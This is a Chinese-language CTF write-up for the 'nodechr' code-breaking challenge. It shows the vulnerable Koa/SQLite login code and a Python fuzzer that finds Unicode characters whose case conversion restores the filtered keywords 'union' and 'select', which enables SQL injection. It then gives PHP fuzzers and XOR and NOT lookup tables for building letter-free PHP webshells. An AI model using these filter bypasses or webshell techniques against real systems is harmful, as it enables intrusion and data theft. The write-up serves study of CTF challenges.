前言
今天做了一下欠了很久的code-breaking,前面已经陆陆续续把简单的php题给清理了,但今天这个nodechr,做起来还是非常有趣的,也了解了python和js函数的一些特性,这里也把P神之前的无字母数字构造webshell做个fuzz小总结
<!--more-->
Part1-nodechr题解
同样在github上下载好docker文件,在本地进行搭建,点进去发现是一个登陆框,随意输入一个admin&admin,便登陆进去了,我们发现了一个问题,这里将我们的admin转换成了大写
然后这里我们就没辙了,虽然怀疑是sql注入,但是没有源码不好判断,而P神出题一般都是提供源码的,于是就用脚本扫了扫,找到了一个非常可疑的source目录
进去便找到了源码,具体源码如下:
// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename
const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
async function main() {
const app = new Koa()
const router = new Router()
const db = await sqlite.open(':memory:')
await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)
for (let user of config.users) {
await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
}
await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
//这里清清楚楚的显示了flag在哪
router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)
app.use(views(__dirname + '/views', {
map: {
html: 'underscore'
},
extension: 'html'
})).use(bodyParser()).use(session(app))
app.use(router.routes()).use(router.allowedMethods());
app.keys = config.signed
app.context.db = db
app.context.router = router
app.listen(3000)
}
//分割线以上主要是一些初始化的操作,比如数据库建立等
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
//注意这里过滤掉了很多字符,其中最关键的select被过滤掉了,在select被过滤的情况下是无法读取数据的
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
//注意这里进行了转换为大写的操作
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
async function static(ctx, next) {
await send(ctx, ctx.path)
}
async function admin(ctx, next) {
if(!ctx.session.user) {
ctx.status = 303
return ctx.redirect(ctx.router.url('login'))
}
await ctx.render('admin', {
'user': ctx.session.user
})
}
async function source(ctx, next) {
await send(ctx, basename(__filename))
}
main()
大致读了读源码,node.js真的不是很熟悉,只是看懂了大概,大致意思是起初进行了数据库插入,设置路由等操作,后面就是一个判断登陆的函数了,这里首先进行了一次过滤判断是否有union,select等字符串,然后经过校验,便对输入的参数进行了转换大写的操作,正是这部转换大写的操作,导致了过滤出现问题。
PS:看了大佬的wp知道了,js里的转换大小写的方法和python里面转换大小写的方法是差不多的,下面是fuzz的代码太菜了最后只能写个三层循环
from urllib import parse
def create_list(string):
list1=[]
for i in string:
for j in string:
char1="%"+i+j
list1.append(char1)
return list1
#生成16进制所有字符组合的一个列表
def upper_fuzz(list1,num):
if num==1:
for i in list1:
fuzz = i
url_char = parse.unquote(fuzz)
if (len(url_char.upper()) == 1 and ('0' <= url_char.upper() <= '~')):
print(fuzz + "(" + url_char + ")" + " To_upper => " + url_char.upper())
if num==2:
for i in list1:
for j in list1:
fuzz = i + j
url_char = parse.unquote(fuzz)
if (len(url_char.upper()) == 1 and ('0' <= url_char.upper() <= '~')):
print(fuzz + "(" + url_char + ")" + " To_upper => " + url_char.upper())
if num==3:
for i in list1:
for j in list1:
for k in list1:
fuzz = i + j + k
url_char = parse.unquote(fuzz)
if (len(url_char.upper()) == 1 and ('0' <= url_char.upper() <= '~')):
print(fuzz + "(" + url_char + ")" + " To_upper => " + url_char.upper())
#设置范围在'0'到'~'是因为我们一般常用的字符在这个范围,然后在某个时候两个或者三个url编码的时候无法表示一个字符了,这里就需要过滤一下结果,因此这里给了个长度判断
def lower_fuzz(list1,num):
if num == 1:
for i in list1:
fuzz = i
url_char = parse.unquote(fuzz)
if (len(url_char.lower()) == 1 and ('0' <= url_char.lower() <= '~')):
print(fuzz + "(" + url_char + ")" + " To_lower => " + url_char.lower())
if num == 2:
for i in list1:
for j in list1:
fuzz = i + j
url_char = parse.unquote(fuzz)
if (len(url_char.lower()) == 1 and ('0' <= url_char.lower() <= '~')):
print(fuzz + "(" + url_char + ")" + " To_lower => " + url_char.lower())
if num == 3:
for i in list1:
for j in list1:
for k in list1:
fuzz = i + j + k
url_char = parse.unquote(fuzz)
if (len(url_char.lower()) == 1 and ('0' <= url_char.lower() <= '~')):
print(fuzz + "(" + url_char + ")" + " To_lower => " + url_char.lower())
#上面两个函数非常类似,都是更具需要生成相应的url编码字符(2字符表示,3字符表示等)
string2="0123456789ABCDEF"
list1=create_list(string2)
lower_fuzz(list1,2)
lower_fuzz(list1,3)
upper_fuzz(list1,2)
upper_fuzz(list1,3)
#python太菜了没有优化写法,也不优雅跑了大概两分钟左右跑出了结果
fuzz代码也很简单,一些小地方也写在注释里面了,我们直接看返回结果吧,
我们看到在某些特定的url编码,这里会直接返回一些非正常的结果,因此实际上js也好,python也好,其中自带的upper()
和lower()
方法实际上是存在缺陷的,而过滤掉的关键词union
中的i
和select
中的s
恰好可以用上面fuzz出来的两个特殊字符来代替,然后经过大写的转换复原,这就暗渡陈仓成功了。
并且通过前面的源码阅读,已经将flag的数据所在位置暴露给了我们因此直接进行sql注入得到了flag
Part2:无字符数字webshell的两个fuzz
有关异或的全字符:
fuzz代码:
<?php
error_reporting(0);
$string1="%";
$string2=array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F");
for ($i=0;$i<=15;$i++){
for ($j=0;$j<=15;$j++){
$fuzz=$string1.$string2[$i].$string2[$j];
$fuzz_true=urldecode($fuzz);
$char=$fuzz_true^"`";
if($char>='0'&&$char<='~') {
echo $fuzz . "^'`'=>" . $char . "\n";
}
}
}
然后输出得到的对应关系为:
%00^'`'=> `
%01^'`'=> a
%02^'`'=> b
%03^'`'=> c
%04^'`'=> d
%05^'`'=> e
%06^'`'=> f
%07^'`'=> g
%08^'`'=> h
%09^'`'=> i
%0A^'`'=> j
%0B^'`'=> k
%0C^'`'=> l
%0D^'`'=> m
%0E^'`'=> n
%0F^'`'=> o
%10^'`'=> p
%11^'`'=> q
%12^'`'=> r
%13^'`'=> s
%14^'`'=> t
%15^'`'=> u
%16^'`'=> v
%17^'`'=> w
%18^'`'=> x
%19^'`'=> y
%1A^'`'=> z
%1B^'`'=> {
%1C^'`'=> |
%1D^'`'=> }
%1E^'`'=> ~
%20^'`'=> @
%21^'`'=> A
%22^'`'=> B
%23^'`'=> C
%24^'`'=> D
%25^'`'=> E
%26^'`'=> F
%27^'`'=> G
%28^'`'=> H
%29^'`'=> I
%2A^'`'=> J
%2B^'`'=> K
%2C^'`'=> L
%2D^'`'=> M
%2E^'`'=> N
%2F^'`'=> O
%30^'`'=> P
%31^'`'=> Q
%32^'`'=> R
%33^'`'=> S
%34^'`'=> T
%35^'`'=> U
%36^'`'=> V
%37^'`'=> W
%38^'`'=> X
%39^'`'=> Y
%3A^'`'=> Z
%3B^'`'=> [
%3C^'`'=> \
%3D^'`'=> ]
%3E^'`'=> ^
%3F^'`'=> _
%50^'`'=> 0
%51^'`'=> 1
%52^'`'=> 2
%53^'`'=> 3
%54^'`'=> 4
%55^'`'=> 5
%56^'`'=> 6
%57^'`'=> 7
%58^'`'=> 8
%59^'`'=> 9
%5A^'`'=> :
%5B^'`'=> ;
%5C^'`'=> <
%5D^'`'=> =
%5E^'`'=> >
%5F^'`'=> ?
有关取反的全字符:
fuzz代码:
<?php
error_reporting(0);
$string1 = "%";
$string2 = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F");
for ($i = 0; $i <= 15; $i++) {
for ($j = 0; $j <= 15; $j++) {
$fuzz = $string1 . $string2[$i] . $string2[$j];
$fuzz_true = urldecode($fuzz);
$char = ~$fuzz_true;
if($char>='0'&&$char<='~') {
echo '~'.$fuzz . " => " . $char . " \n";
}
}
}
对应关系为:
~%81 => ~
~%82 => }
~%83 => |
~%84 => {
~%85 => z
~%86 => y
~%87 => x
~%88 => w
~%89 => v
~%8A => u
~%8B => t
~%8C => s
~%8D => r
~%8E => q
~%8F => p
~%90 => o
~%91 => n
~%92 => m
~%93 => l
~%94 => k
~%95 => j
~%96 => i
~%97 => h
~%98 => g
~%99 => f
~%9A => e
~%9B => d
~%9C => c
~%9D => b
~%9E => a
~%9F => `
~%A0 => _
~%A1 => ^
~%A2 => ]
~%A3 => \
~%A4 => [
~%A5 => Z
~%A6 => Y
~%A7 => X
~%A8 => W
~%A9 => V
~%AA => U
~%AB => T
~%AC => S
~%AD => R
~%AE => Q
~%AF => P
~%B0 => O
~%B1 => N
~%B2 => M
~%B3 => L
~%B4 => K
~%B5 => J
~%B6 => I
~%B7 => H
~%B8 => G
~%B9 => F
~%BA => E
~%BB => D
~%BC => C
~%BD => B
~%BE => A
~%BF => @
~%C0 => ?
~%C1 => >
~%C2 => =
~%C3 => <
~%C4 => ;
~%C5 => :
~%C6 => 9
~%C7 => 8
~%C8 => 7
~%C9 => 6
~%CA => 5
~%CB => 4
~%CC => 3
~%CD => 2
~%CE => 1
~%CF => 0
这里主要做个记录以后如果用到可以直接查询。
参考文章:
P神传送门: 一些不包含数字和字母的webshell
code-breakingWp: code-breaking全部题解及知识拓展